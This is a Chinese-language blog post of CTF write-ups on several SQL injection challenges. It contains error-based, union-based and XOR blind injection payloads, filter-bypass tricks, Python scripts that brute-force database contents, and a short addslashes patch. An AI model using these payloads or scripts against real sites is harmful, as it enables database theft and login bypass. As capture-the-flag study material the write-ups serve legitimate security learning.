Your password is 'cl4yi_want_to_play_2077,sqlsql_injection_is_so_fun,porndo_you_know_pornhub,gitgithub_is_different_from_pornhub,Stopyou_found_flag_so_stop,badguyi_told_you_to_stop,hackerhack_by_cl4y,flagflag{4e0df53d-6c88-4972-ad1d-761cab96d2b4}'

flag{4e0df53d-6c88-4972-ad1d-761cab96d2b4}

夺旗成功!

做题是为了检验知识,看wp是为了学习思路,这题我按照我自己的流程走的,使用的是双写绕过,肯定还有其他的方法,观看别人的wp一方面是增加自己的技巧知识,另一方面是学习别人的思路,获取flag只是证明我们有实力,并不是说只有这种解法,接下来是分析别人的wp总结的解法:

好了,看了一圈下来,发现没有其他的解题方法,就只有双写绕过的wp,好吧,那么没有的话就这样吧

[极客大挑战 2019]HardSQL 1

解题思路:

打开环境,还是登录框,还是测试万能密码,发现回显”你可别被我逮住了,臭弟弟”,但是输入数字或者字母显示”NO,Wrong username password!!!”并且密码不能带有空格,不过测试()发现能够绕过,接下来需要对参数进行爆破,测试过滤,还是Fuzz

因为输入被过滤了的数据会回显你可别被我逮住了,如果输入的关键字符或者关键词没有回显这个内容就说明没有过滤,所以我们可以判断出长度为789的请求是过滤的关键词

然后发现过滤了一些判断的东西关键词和特殊字符(or没有过滤),仍然可以进行注入,然后发现过滤了联合注入,但是没有过滤报错注入等等,那么我们就是用报错注入,然后过滤了等号,那我们就是用like,构造查询payload:

'or(updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1))%23
--这个事前面的题目二次注入+报错注入+过滤的payload,直接拿来用,因为||被过滤,使用or
username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1)#

正常回显,不过长度关系后面的没有显示,没事,使用函数倒转一下就好了:

'or(updatexml(1,reverse(concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e)),1))%23

geek,mysql,test,当然可以直接使用database可能会更快一些,不过为了确定flag不是藏在其他的地方,所以特意看一眼,然后没有其他的可以数据库后再去查询geek的表:

'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like"geek"),0x7e),1))%23

然后获取H4rDsq1的列:

'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like"H4rDsq1"),0x7e),1))%23

然后直接查询信息:

'or(updatexml(1,concat(0x7e,(select(group_concat(username,password))from(geek.H4rDsq1)),0x7e),1))%23

成功获取到flag,然后倒置一下获取完整的flag即可:

flag{8023d437-8635-4897-ad2

'or(updatexml(1,reverse(concat(0x7e,(select(group_concat(username,password))from(geek.H4rDsq1)),0x7e)),1))%23

反转一下字符串,然后拼接前面的:

flag{8023d437-8635-4897-ad2f-4c13eddd6e29}

ok,夺旗成功!

小工具:

因为之前用reverse函数比较少,而且flag不长,直接倒置然后自己看一下就可以了,但是有些时候数据比较长,一个一个的手动倒过来看可能比较费劲,所以写了一个简单的Python脚本,对字符串进行倒置,方便后续碰到直接复制然后允许,速度更快:

print("--" * 10 + "欢迎使用数据转置脚本" + "--" * 10)
print("退出请输入:exit")
while True:
 input_string = input("请输入你要倒置的字符串: \n")
 if input_string == 'exit':
     break
 reverse_string = input_string[::-1]
 print(reverse_string)

逻辑就是切片操作进行反转,不过为了实用性和美观多加了两行打印,和判断语句,这样不用每次运行都要等待启动,只需要启动一次就可以一直使用,然后不用的时候exit就可以退出了

[GXYCTF2019]BabySQli 1

解题思路:

还是一样的,自己动手做题,碰到不会的在看wp,或者先看粗略查看wp有没有自己不知道的知识点,没有自己做了再看wp,有就先看知识点然后做题,好了,这会直接做题,没看wp,开启环境后发现是一个登录框,直接测试万能密码:

'
' or 1=1#
" or 1=1#

提示密码错误,说明引号要么被过滤了要么就是转义了,测试用户名看看,发现在尝试 and 1=2 时页面返回了不一样的东西,显示不要黑我,说明存在过滤,然后看一下网页源代码,逻辑是post提价username和password到search.php,然后就没有其他的了,那么还是一样,对输入字符进行Fuzz,因为直接输入被过滤的符号(=)直接显示了不要黑我,那么只需要注意哪些内容返回了这个信息就知道哪些被过滤了

445说明没有过滤,显示的是不正确的用户,然后449显示的是不要黑我,其他的是语法错误,但是前面测试密码参数发现'是没有生效的,但是爆破username时发现能生效,说明username才是存在漏洞的地方,可能过滤没有密码过滤的严格,然后使用

观察过滤,可能是过滤了or,所以有or的关键词都无法使用,然后一些特殊符号,然后我们又在请求返回的响应包中找到了一个额外的信息:

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
看格式,不像md5,base64,不过肯定是一种格式,找个在线网站解码一下就好了,然后发现是base32
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
解码后的内容后面带有==,看起来像是base64,继续解码
select * from user where username = '$name'
果然,得到一个查询语句,从user里面查询username等于提交的用户名,也就是说密码和用户名的逻辑是分开的,查询用户是用户,密码是密码,那么我们可以使用联合查询建立一个临时的信息,比如union select 1,2,3这个我们在前面获取回显位置时用过,那么我们可以构造一个对应的语句来让他查询
union select 'admin','9527'

1'union select "admin","9527"#

提示字段数不对,那么再加一个看看:

1'union select 1,"admin","9527"#

没有提示字段数的问题了,然后提示密码错误,但是我们使用的密码的确是9527啊,难道后台进行了加密存储?使用md5后的密码看看,挨个尝试了一遍,还是密码不对,我们的语句肯定是没有问题,因为如果用户名不对提示的应该是wrong user而不是密码错误,所以只有可能是我们传入的参数没有进行加密,因为后端可能对传入的密码加密了,然后进行数据里面的比较,如果正确返回flag,所以我们需要传入md5后的9527:

1'union select 1,'admin','52569c045dc348f12dfc4c85000ad832'#
9527

加密问题,注意md5后的值字母要是小写的,被网站坑了,我还以为是我的问题特意去看了眼源代码,发现就是加密的问题,然后前面查询1,是因为我们创建的临时列是1:

select * from user where username = 1'union select 1,'admin','52569c045dc348f12dfc4c85000ad832'#

好了,成功夺旗!

小总结:利用union select建立一个临时的列,然后密码执行的查询语句会查询到我们建立的临时数据,当我们输入9527后会对我们的输入进行加密,然后与数据库里面的数据进行对比,成功就返回flag

[极客大挑战 2019]FinalSQL 1

解题思路:

开启题目,发现还是一如既往的登录框,不过多了几个按钮

然后按照常规思路是测试万能密码,不过这里就不浪费时间了,因为这几个按钮点击后,发现URL中提交了一个id的参数,那么注入点可能就是这里:

熟悉流程的应该都知道要对参数进行Fuzz模糊测试,不过再次之前收集更多的信息有利于后面的测试,依次点击2,3,4,5的按钮,分别返回了如下的页面信息

这里第五个提示我们尝试6,那么继续

返回聪明,但是不是这个表,看来正常数字是无法获取到什么有用的信息了,那么试试0

返回的是ERROR,继续测试,输入字母或者单引号看看

可以看见也是error,说明对字母或者单引号直接拼接,导致语法出问题了,不过没有报错信息,说明关闭了报错信息的输出,那么我们就无法使用报错注入,然后仔细对比前面的页面,发现这个Error!并不是全大写的,而页面0是全大写的,很有意思(说明大写的页面就是0的页面,而小写的页面是语法错误导致返回的Error,并不是一个单独的页面)。然后获取不到其他有用的信息了,那么就Fuzz看看能尝试什么注入:

查看响应,发现其中943长度的以上内容是过滤后的数据包,Error应该是报错但是无具体报错信息的响应(因为payload影响到了查询,但是语法不对或者查询不到结果,就返回的是Error),说明926长度的请求是没有进行过滤的:

因为比较多,就不全部写出来了,只看过滤了什么,发现过滤了and,过滤了union,说明无法通过联合查询注入获取信息,然后还过滤了一些特殊符号等等,不过发现没有过滤^说明可以尝试异或注入,当然还有elt没有过滤,说明可以使用elt注入,不过if被过滤了,只能使用elt,然后我们可以利用这些来进行SQL盲注

异或盲注,异或符号为 ^ ,异或关键词为 xor ,异或运算逻辑为,相同为0,不同为1,当前后都为相同的true/false或者0和1时,只要相同结果就为0,不同则为1,异或异或,就是要异

elt函数,类似于if,不过并不是,他的用法是 elt(N,str1) N为数字,当 N 为1时返回 str1,是0返回 NULL

上面这两个都可以用来进行盲注,比如xor(^),前面的参数我们可以自行构造,0和1都可以,后面的参数是我们想要执行的条件,比如 length(database())>1 这个条件满足会返回 true,前面的参数我们输入为1,1和1异或结果为0,因为相同,所以会返回id为0的页面的信息,如果我们前面为1,后面条件为0,那么返回的结果就是1,也就是id为1的页面:

1^1
1^0

就这么简单,这就是异或注入,盲注的一种,然后还有一个elt,这个的语法如下:

elt(数字,字符串)

因为条件是否成立只会返回0和1,0就是NULL,不会返回结果,1就会返回字符串1,所以,当条件成立的时候返回1,就返回的是id为1的页面,如果是条件不成立,返回的就是空,空返回的页面就是0的页面(ERROR),那么我们可以以此或者以1为基准来进行盲注,比如条件成立,返回1,或者条件成立返回0,不过因为条件不成立前面为0,就会返回NULL,也是0的页面,为了避免判断错误,我们使用id为1的页面的信息来判断条件是否成立

elt(1=1,1)
elt(1=1,0)

这里具体选择0页面还是1页面都可以,反正后面以此为基准判断条件是否成立即可

接下来做题,既然存在盲注,并且过滤了其他注入,那就用盲注,先自己构造payload,获取数据库的长度:

1^(length(database())<10)         满足返回0页面ERROR
elt(length(database())<10,1)      满足返回1页面 NO!Not this!Click others~~~

因为异或xor被过滤,使用异或符号,因为后端没有过滤异或符号 ^

接下来判断数据库名长度是否大于5:

1^(length(database())>5)       
elt(length(database())>5,1)

两种方法返回的是一样的,长度为1~5,后面依次一个一个猜测即可,然后判断出数据库名长度为4:

1^(length(database())=4)       
elt(length(database())=4,1)

接下来获取数据库名,使用substr进行截取,使用ascii进行对比,使用二分法进行爆破,payload和python代码如下:

# payload
# 1^(ascii(substr(database(),{i},1))>={mid})

# 脚本代码
import requests
import time

# 爆破库名
url = "http://1f63039c-54f1-46af-b09f-1cf92ed1689d.node5.buuoj.cn:81/search.php?id="
schema_name = ""
for i in range(1,5):
low, high = 32, 126
while low <= high:
  mid = (low + high) // 2
  payload = f"1^(ascii(substr(database(),{i},1))>={mid})"
  test_url = url + payload

  try:
      response = requests.get(test_url, timeout=10)
      if "ERROR!!!" in response.text:
          low = mid + 1
      else:
          high = mid - 1
  except:
      print("请求失败,重试...")
      time.sleep(1)
      continue

  time.sleep(0.1)

final_ascii = high
char = chr(final_ascii)
schema_name += char
print(f"爆破出:{char}")

print(f"数据库名为:{schema_name}")

# 执行结果
# 爆破出:g
# 爆破出:e
# 爆破出:e
# 爆破出:k
# 数据库名为:geek

然后获取到数据库名为geek,接下来获取有多少个表:

# payload
# 1^((select(count(table_name))from(information_schema.tables)where(table_schema)='geek')=1)
# 1^((select(count(table_name))from(information_schema.tables)where(table_schema)='geek')=2)

geek中存在两个表,接下来获取表名,原本使用limit进行逐一爆破的,结果发现limit被过滤了,没关系,使用group_concat合并成字符串,然后substr截取,然后一起爆破即可:

# payload
# 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{i},1))>={mid})

# 爆破表名
url = "http://1f63039c-54f1-46af-b09f-1cf92ed1689d.node5.buuoj.cn:81/search.php?id="
table_name = ""
for i in range(1,100):
low, high = 32, 126
while low <= high:
  mid = (low + high) // 2
  payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),{i},1))>={mid})"
  test_url = url + payload

  try:
      response = requests.get(test_url, timeout=10)
      if "ERROR!!!" in response.text:
          low = mid + 1
      else:
          high = mid - 1
  except:
      print("请求失败,重试...")
      time.sleep(1)
      continue

  time.sleep(0.1)

final_ascii = high
char = chr(final_ascii)
table_name += char
print(f"爆破出:{char}")

print(f"数据库表名为:{table_name}")

# 执行结果:
# 爆破出:F
# 爆破出:1
# 爆破出:n
# 爆破出:a
# 爆破出:I
# 爆破出:1
# 爆破出:y
# 爆破出:,
# 爆破出:F
# 爆破出:l
# 爆破出:a
# 爆破出:a
# 爆破出:a
# 爆破出:a
# 爆破出:a
# 爆破出:g
# 数据表名为:F1naI1y,F1aaaaag

这段代码因为没有事先获取所有表加起来的长度,直接写了一个范围1~99,所以后面爆破是空字符(多余爆破),也没有做break(爆破完结果退出),所以需要自己手动暂停,然后拼接结果

接下来是获取列名,先爆破F1naI1y的列:

# payload
# 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>={mid})

# 爆破列名
url = "http://4124027d-beeb-4585-8eae-22dd26d2b22f.node5.buuoj.cn:81/search.php?id="
schema_name = ""
for i in range(1,30):
low, high = 32, 126
while low <= high:
  mid = (low + high) // 2
  payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>={mid})"
  test_url = url + payload

  try:
      response = requests.get(test_url, timeout=10)
      if "ERROR!!!" in response.text:
          low = mid + 1
      else:
          high = mid - 1
  except:
      print("请求失败,重试...")
      time.sleep(1)
      continue

  time.sleep(0.1)

final_ascii = high
char = chr(final_ascii)
schema_name += char
print(f"爆破出:{char}")

print(f"数据库表名为:{schema_name}")

# 执行结果
# 爆破出:i
# 爆破出:d
# 爆破出:,
# 爆破出:u
# 爆破出:s
# 爆破出:e
# 爆破出:r
# 爆破出:n
# 爆破出:a
# 爆破出:m
# 爆破出:e
# 爆破出:,
# 爆破出:p
# 爆破出:a
# 爆破出:s
# 爆破出:s
# 爆破出:w
# 爆破出:o
# 爆破出:r
# 爆破出:d
# 爆破出:
# ......
# 数据库表名为:id,username,password

获取到信息发现和前面一样,我猜测可能还是在password,而且非常靠后,为了防止过长导致爆破失败,这回设置的是1000个数,并且当转换后的字符为 } 时结束循环:

# payload
# 1^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),{i},1))>={mid})

# 爆破flag
url = "http://4124027d-beeb-4585-8eae-22dd26d2b22f.node5.buuoj.cn:81/search.php?id="
schema_name = ""
for i in range(1,1000):
low, high = 32, 126
while low <= high:
  mid = (low + high) // 2
  payload = f"1^(ascii(substr((select(group_concat(password))from(geek.F1naI1y)),{i},1))>={mid})"
  test_url = url + payload

  try:
      response = requests.get(test_url, timeout=10)
      if "ERROR!!!" in response.text:
          low = mid + 1
      else:
          high = mid - 1
  except:
      print("请求失败,重试...")
      time.sleep(1)
      continue

  time.sleep(0.1)

final_ascii = high
char = chr(final_ascii)
schema_name += char
print(f"爆破出:{char}")
if char == "}":
  break

print(f"数据库内容为:{schema_name}")

# 执行结果
# 非常的长,作者有猫饼,所以就不全展示了,只展示最后结果
# 数据库内容为:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{83c2c182-a8f6-4198-bb55-df4a165aa473}

Flag:

flag{83c2c182-a8f6-4198-bb55-df4a165aa473}

好了,成功夺旗!

不过这个作者的确有猫饼,好好的搞这么长,还好不在另一个数据库中,要不然又得跑半天,好了,这题我是自己研究别人讲的异或内容和elt内容,然后自己构造payload,自己写的python脚本,python脚本用的是之前爆破ctfhub的脚本,简单修改了一下payload和生成的数字范围就可以使用了,大家如果碰上盲注都可以使用这个脚本,只需要修改URL和payload即可(post请求除外)

另一种中解题方法:

elt 盲注,结构前面说过,把条件阔号,然后放到 elt 的第一个参数,第二个参数为 1,然后判断响应的数据里面是否存在 NO!Not this!Click others~~~ 字符串即可

脚本文件下载地址:

https://lawking.top/ctf/web/Buuctf_SQL/FinalSQL_爆破flag_异或盲注.py

脚本自己写的,微有瑕疵(除了flag,爆破其他的不会提前退出,爆破信息也是提前写好的payload,不是用前一个返回的信息去构造新的payload,如果数据库信息有变化, 需手动修改payload中对对应部分的表,列信息)

至于之前爆破ctfhub的文件就不提供了,毕竟写了完整代码的,而且是技能树,比较简单,后续其他平台(包含ctfhub)的题目所用到的脚本都会上传到对应路径

[第一章 web入门]SQL注入-1

题目:

《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com

解题思路:

因为看了一眼解题人数,发现接近1w人,我想应该不会太难的,所以直接开始做题,就不先观看别人的wp了

打开靶机,页面返回如下信息:

我还是特意等了一会才访问,我还以为是环境还没启动成功呢,结果一看URL,应该就是这样,那么注入点就只有这一个,那我们直接尝试引号payload:

'
"

单引号提交后页面存在变化,双引号没变化,说明提交的参数影响到了后端的查询语句,可能是直接拼接,然后单引号并没有返回信息,说明开启了报错信息不回显,无法使用报错注入;继续测试其他的数字,发现除了0和1都无法返回结果,并且字母也是,说明进行了类型判断还是其他的过滤?那么先确定是不是数字型注入:

1 and 1=2 如果页面没信息就说明是数字型注入
1' and 1=2 如果页面没信息说明是非数字型注入

可以看到,使用引号后成功了,页面没有返回信息,那么使用order by 判断一下字段(因为做出来的人很多,所以猜测没进行什么过滤,所以没有Fuzz):

1' order by 1--+
URL编码:
1%27%20order%20by%201--+
1%27%20order%20by%202--+
1%27%20order%20by%203--+
1%27%20order%20by%204--+

可以看到,第四个payload无法获取信息,说明字段数为3,然后我们构造联合查询的语句判断回显位置,payload如下:

-1%27%20union%20select%201,2,3--+

可以看到2,3回显,并且3回显的位置是比多的,所以用三来获取信息,先是获取数据库名:

-1%27%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata--+

有一个note库,当前库估计就是这个了,查查当前数据库名(这一步应该在前面,然后再确定有没有其他的数据库):

-1%27%20union%20select%201,2,database()--+

获取当前数据库中的表:

-1%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+

有两个表,一个fl4g和一个notes,先查询fl4g,获取列:

-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name='fl4g'--+

继续,获取fllllag列的数据:

-1%27%20union%20select%201,2,group_concat(fllllag)%20from%20note.fl4g--+

成功夺旗!

n1book{union_select_is_so_cool}

[第一章 web入门]SQL注入-2

题目:

请访问 /login.php /user.php

《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com

解题思路:

提示我们访问 /login.php /user.php,访问看看

一个是管理员登录页面,一个是告诉我们请先登录,那么我们先去访问第一个页面,然后登录后再去访问第二个页面

简单的尝试了一下万能密码,发现没有用,然后只返回账号和密码错误,只提交账号没信息,无法爆破管理员用户名,然后看一下有没有其他的有用的信息,发现F12后,可以看到提示,URL后面加上参数tips=1,会开启mysql的错误提示,那么试试:

可以看到报错了,复制到在线网站Unicode编码一下,提示用户不存在,输入admin用户名和123密码

解码后的意思是账号和密码错误,说明管理员用户名是admin,既然使用tips=1能返回报错,那么我们尝试一下报错注入:

'+updatexml(1,concat(0x7e,database(),0x7e),1)

注意,不加+号,前后颜色不对,会被识别成两个部分,从而注入失败,然后判断返回的信息,发现成功报错了,不过是语法的错误,仔细看了一下,发现是漏掉了一个 and 导致后面的不执行,并且没有注释,好久没用报错注入,怎么注入都忘记了,真是的,果然还是得多刷题才行,重新构造号正确的payload:

'+and+updatexml(1,concat(0x7e,database(),0x7e),1)#

可以看到成功获取到数据库名,note,接下来获取表:

'+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)#

提示语法错误,查看报错信息,发现少了一个select group_concat(table_name) 可能是过滤了其中的select ,尝试进行绕过:

'+and+updatexml(1,concat(0x7e,(selselectect+1),0x7e),1)#
'+and+updatexml(1,concat(0x7e,(sEleCt+1),0x7e),1)#

第一个payload是双写绕过,如果查询成功会返回1,还是语法错误,第二个是大小写混用绕过,成功返回1,说明可以使用大小写混用进行查询,重新构造查询表的payload:

'+and+updatexml(1,concat(0x7e,(sEleCt+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)#

一共两个,先查fl4g的列:

'+and+updatexml(1,concat(0x7e,(sEleCt+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='fl4g'),0x7e),1)#

接下来获取flag:

'+and+updatexml(1,concat(0x7e,(sEleCt+group_concat(flag)+from+note.fl4g),0x7e),1)#

成功夺旗!

n1book{login_sqli_is_nice}

Flag并不长,所以没有用到倒置函数,不过这样就能通关,为什么还要写一个user的页面呢,查一下另一个数据库看看(闲得):

'+and+updatexml(1,concat(0x7e,(sEleCt+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),1)#

继续,获取密码,因为管理员账号我们已经知道了:

'+and+updatexml(1,concat(0x7e,(sEleCt+group_concat(passwd)+from+note.users+where+username='admin'),0x7e),1)#

26f1c86def93bd19fb3ba6ad3d9f2a8,看样子应该还没有获取完毕,倒置一下看看:

'+and+updatexml(1,reverse(concat(0x7e,(sEleCt+group_concat(passwd)+from+note.users+where+username='admin'),0x7e)),1)#

78a2f9d3da6ab3bf91db39fed68c1f6用python倒置一下6f1c86def93bd19fb3ba6ad3d9f2a87,发现就少了一个数字,加上后尝试登录看看:

26f1c86def93bd19fb3ba6ad3d9f2a87

然后无法登录,解密也解不出来,cmd5网站解出来了,不过要收钱,不搞了,反正题目压根用不上那个user.php的页面,反正报错注入就能够获取到flag了

Ezsql

题目:

靶机地址解释: 第一行:目标机器 WEB 服务地址 第二行:目标机器 SSH 地址以及端口 第三行:Check 服务访问地址

修复方法:

  1. SSH 连接上目标机器,用户 ctf,密码 123456
  2. 对目标机器上的服务进行加固
  3. 访问 Check 服务的 /check进行 check
  4. 若返回 True,则访问 /flag 可获得 /flag
  5. 每次 check 后目标机器会重置

解题思路:

这题目我看得有点懵,不是SQL注入吗,怎么搞得怪怪的,还要进行ssh连接,真没看懂,后来看了别人的wp才知道,这题的解题方法是:访问目标机器,会存在sql注入,然后需要我们连接上目标机器,修复它的web服务,然后我们访问check的服务器,这个服务器会自行攻击这个页面,如果防御成功,在访问check服务器上面的flag页面就能获取到flag

因为我知道怎么注入,但是怎么防御不知道,所以是看了别人的wp才做的,主要就是使用addslashes函数将传入的内容转译成字符串,这样就可以减少一定的SQL注入攻击(二次注入还是可能存在的),然后我们开始做题,打开题目:

访问第一行的web服务,发现是一个登录页面,直接尝试万能密码

登录成功,说明存在SQL注入漏洞

知识点:当然有基础的肯定知道,如果你访问一共路径默认返回的是该目录下的index.php或者index.html,如果没有URL也没有指定具体文件,就会访问不到服务,所以这里直接查找的是index.php文件

现在对漏洞进行修复,用xshell连接第二行的主机,端口是指定的端口号,账号和密码是ctf和123456,然后直接搜索index.php的文件:

find / -name 'index.php'

/var/www/html/index.php 找到了,在这个目录下,默认也一般都是这个目录,直接cd到该目录,然后vim编辑文件:

</html>
<h4 style="text-align: center; color: #000000">
<?php
error_reporting(0);
include 'dbConnect.php';
$username = $_GET['username'];
$password = $_GET['password'];
if (isset($_GET['username']) && isset($_GET['password'])) {
 $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
 $result = $mysqli->query($sql);
 if (!$result)
     die(mysqli_error($mysqli));
 $data = $result->fetch_all(); // 从结果集中获取所有数据
 if (!empty($data)) {
     echo '登录成功!';
 } else {
     echo "用户名或密码错误";
 }
}
?>

前面都是些美化或者无用信息,直接看后面的代码,发现直接拼接用户的输入进行查询,我们需要对其进行转义成字符串,然后再进行查询:

$username = $_GET['username'];
$password = $_GET['password'];
// 对起进行字符串转义
$username = addslashes($username);
$password = addslashes($password);

直接vim文件,输入 i 进入编辑模式,添加如上代码:

修改后按esc,然后 :wq 进行保存退出,重新访问 web 服务看看,使用万能密码无法登录,提示用户名和密码错误

再访问题目第三行的check服务器的check目录:

http://d6f639c4-8683-49d1-bb36-08970d5a68e7.node5.buuoj.cn:81/check

让我们等待60秒,正在验证,不过我看这个页面没有加载的样子,可能不会先是true,或者返回了也不显示,我们直接访问/flag看看:

http://d6f639c4-8683-49d1-bb36-08970d5a68e7.node5.buuoj.cn:81/flag

注意这里只请求一次check页面,因为check后目标服务器会重置,也就是如果多次check,即使成功了,重置后,最新一次check返回的结果是flase,所以获取不到flag,只check一次,然后等一下后去访问flag页面就行

成功夺旗!

总结:

有自己的测试思路后,再加上Fuzz,基本上这些题目就都可以做出来了,不要过度依赖wp喔,然后就是篇幅原因,这里只写了文章截至之前解题人数超过2000的题目,并不是其他的不做了,是在下一篇,因为过长的文章或者图片较多,可能会超过数据库存储大小,导致发布失败,如果剩下的题目很难,篇幅更长,还有可能会继续切分,估计为上下或上中下三个部分,如果上篇中没有找到你想要看的题目,可以查看SQL注入3的其他篇

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇